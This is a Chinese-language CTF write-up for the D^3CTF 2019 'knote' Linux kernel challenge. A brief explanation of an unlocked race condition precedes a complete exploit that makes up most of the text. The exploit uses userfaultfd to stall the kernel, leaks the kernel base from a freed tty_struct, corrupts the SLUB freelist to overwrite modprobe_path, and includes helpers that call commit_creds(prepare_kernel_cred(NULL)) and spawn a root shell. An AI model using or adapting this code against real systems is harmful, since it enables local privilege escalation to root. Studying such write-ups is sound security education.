D^3CTF 2019 - KNOTE 复现(userfaultfd + modprobe)

2022-11-07

题目分析

首先看题目是没有溢问题的。
其次是审计代码时,发现get函数和edit函数没有加锁(会导致竞态条件的问题)
这时利用userfaultfd + modprobe 就可以获取flag了。

exp

直接借用了arttnba3

kernel.h

#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

void * kernel_base = 0xffffffff81000000;
size_t kernel_offset = 0;

static pthread_t monitor_thread;

void errExit(char * msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    exit(EXIT_FAILURE);
}

void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
    long uffd;
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int s;

    /* Create and enable userfaultfd object */
    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
        errExit("userfaultfd");

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
        errExit("ioctl-UFFDIO_API");

    uffdio_register.range.start = (unsigned long) addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
        errExit("ioctl-UFFDIO_REGISTER");

    s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
    if (s != 0)
        errExit("pthread_create");
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

size_t commit_creds = NULL, prepare_kernel_cred = NULL;
void getRootPrivilige(void)
{
    void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
    int (*commit_creds_ptr)(void *) = commit_creds;
    (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void getRootShell(void)
{   
    puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");

    if(getuid())
    {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        exit(-1);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}

/* ------ kernel structure ------ */

struct file_operations;
struct tty_struct;
struct tty_driver;
struct serial_icounter_struct;

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
            struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
              const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int  (*write_room)(struct tty_struct *tty);
    int  (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty,
            unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
                 unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
            unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty,
                struct serial_icounter_struct *icount);
    void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    const struct file_operations *proc_fops;
};

exp.c

#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include "kernelpwn.h"

#define DO_SAK_WORK 0xffffffff815d4ef0
#define MODPROBE_PATH 0xffffffff8245c5c0

#define TTY_STRUCT_SIZE 0x2e0

static char cat_flag[] = "#!/bin/sh\nchmod 777 /flag";

static long page_size;
static sem_t sem_add, sem_edit;
static char * buf; // for userfaultfd

static char *page = NULL;
static void *
fault_handler_thread(void *arg)
{
    struct uffd_msg msg;
    int fault_cnt = 0;
    long uffd;

    struct uffdio_copy uffdio_copy;
    ssize_t nread;

    uffd = (long) arg;

    for (;;) 
    {
        struct pollfd pollfd;
        int nready;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        nready = poll(&pollfd, 1, -1);

        if (nready == -1)
            errExit("poll");

        nread = read(uffd, &msg, sizeof(msg));

        sleep(10);

        if (nread == 0)
            errExit("EOF on userfaultfd!\n");

        if (nread == -1)
            errExit("read");

        if (msg.event != UFFD_EVENT_PAGEFAULT)
            errExit("Unexpected event on userfaultfd\n");

        uffdio_copy.src = (unsigned long) page;
        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
                                              ~(page_size - 1);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
            errExit("ioctl-UFFDIO_COPY");

        return NULL;
    }
}

typedef struct
{
    union
    {
        size_t size;
        size_t index;
    };
    char * buf;
} Chunk;

long knote_fd;

void chunkAdd(size_t size)
{
    Chunk chunk = 
    {
        .size = size,
    };
    ioctl(knote_fd, 0x1337, &chunk);
}

void chunkEdit(size_t index, char * buf)
{
    Chunk chunk = 
    {
        .index = index,
        .buf = buf,
    };
    ioctl(knote_fd, 0x8888, &chunk);
}

void chunkGet(size_t index, char * buf)
{
    Chunk chunk = 
    {
        .index = index,
        .buf = buf,
    };
    ioctl(knote_fd, 0x2333, &chunk);
}

void chunkDel(size_t index)
{
    Chunk chunk = 
    {
        .index = index,
    };
    ioctl(knote_fd, 0x6666, &chunk);
}

int main(int argc, char ** argv, char ** envp)
{
    int tty_fd, pid, fd;
    size_t modprobe_path, temp[0x100];
    char * buf2, flag[0x100];
    FILE * file = NULL;

    saveStatus();
    page_size = sysconf(_SC_PAGE_SIZE);
    buf = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    buf2 = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    page = malloc(0x1000);
    memset(page, 'A', 0x1000);
    strcpy(page, "arttnba3");

    // create reverse shell file
    fd = open("/getshell", O_RDWR | O_CREAT);
    write(fd, cat_flag, sizeof(cat_flag));
    close(fd);
    system("chmod +x /getshell");

    // register userfaultfd
    registerUserFaultFd(buf, 0x1000, fault_handler_thread);
    registerUserFaultFd(buf2, 0x1000, fault_handler_thread);

    knote_fd = open("/dev/knote", O_RDWR);

    // read saved data(if existed)
    fd = open("kernel_addr.txt", O_RDWR);
    if (fd > 0)
    {
        close(fd);
        file = fopen("/kernel_addr.txt", "r");
        if (file)
        {
            fscanf(file, "%llx %llx", &kernel_base, &kernel_offset);
            goto exploit;
        }
    }

    // leak kernel base from tty struct by reading a free chunk
    chunkAdd(TTY_STRUCT_SIZE);
    pid = fork();
    if (pid < 0)
        errExit("FAILED to fork the child");
    else if (pid == 0) // child to free the chunk
    {
        puts("[\033[34m\033[1m*\033[0m] Chile process sleeping now...");
        sleep(2);
        puts("[\033[34m\033[1m*\033[0m] Chile process started.");
        chunkDel(0);
        sleep(1);
        tty_fd = open("/dev/ptmx", O_RDWR);
        puts("[\033[34m\033[1m*\033[0m] Object free and tty got open. Backing parent thread...");
        exit(0);
    }
    else
    {
        puts("[\033[34m\033[1m*\033[0m] Parent process trapped in userfaultfd...");
        chunkGet(0, buf);
    }

    for (int i = 0; i < 0x58; i++)
        printf("[----data-dump----] %d: %p\n", i, *((unsigned long long*)(buf) + i));

    if (*((unsigned long long*)(buf) + 86))
        puts("[\033[32m\033[1m+\033[0m] Successfully hit the tty_struct.");
    else
        errExit("Failed to hit the tty struct.");

    kernel_offset = *((unsigned long long*)(buf) + 86) - DO_SAK_WORK;
    kernel_base = (void*) ((size_t)kernel_base + kernel_offset);

    file = fopen("/kernel_addr.txt", "w");
    if (!file)
        errExit("Unable to create temp file.");
    fprintf(file, "%llx %llx", kernel_base, kernel_offset);
    fclose(file);

exploit:
    modprobe_path = MODPROBE_PATH + kernel_offset;
    printf("[\033[34m\033[1m*\033[0m] Kernel offset: 0x%llx\n", kernel_offset);
    printf("[\033[32m\033[1m+\033[0m] Kernel base: %p\n", kernel_base);
    printf("[\033[32m\033[1m+\033[0m] modprobe_path: %p\n", modprobe_path);

    // hijack the freelist in slub
    chunkAdd(0x100);
    memcpy(page, &modprobe_path, 8); // object->next
    memcpy(((unsigned long long*)(page) + 1), "arttnba3", 8);
    pid = fork();
    if (pid < 0)
        errExit("FAILED to fork the child");
    else if (pid == 0) // child to free the chunk
    {
        puts("[\033[34m\033[1m*\033[0m] Chile process sleeping now...");
        sleep(2);
        puts("[\033[34m\033[1m*\033[0m] Chile process started.");
        chunkDel(0);
        puts("[\033[34m\033[1m*\033[0m] Object free and tty got open. Backing parent thread...");
        exit(0);
    }
    else
    {
        puts("[\033[34m\033[1m*\033[0m] Parent process trapped in userfaultfd...");
        chunkEdit(0, buf2);
    }

    // hijack the modprobe_path
    chunkAdd(0x100);
    chunkAdd(0x100);
    chunkEdit(1, "/getshell");

    // trigger the modprobe_path
    system("echo -e '\\xff\\xff\\xff\\xff' > /fake");
    system("chmod +x /fake");
    system("/fake");

    // get flag
    sleep(1);
    fd = open("/flag", O_RDWR);
    if (fd < 0)
        errExit("FAILED to hijack!");
    read(fd, flag, 0x100);
    write(1, flag, 0x100);
    system("/bin/sh");

    return 0;
}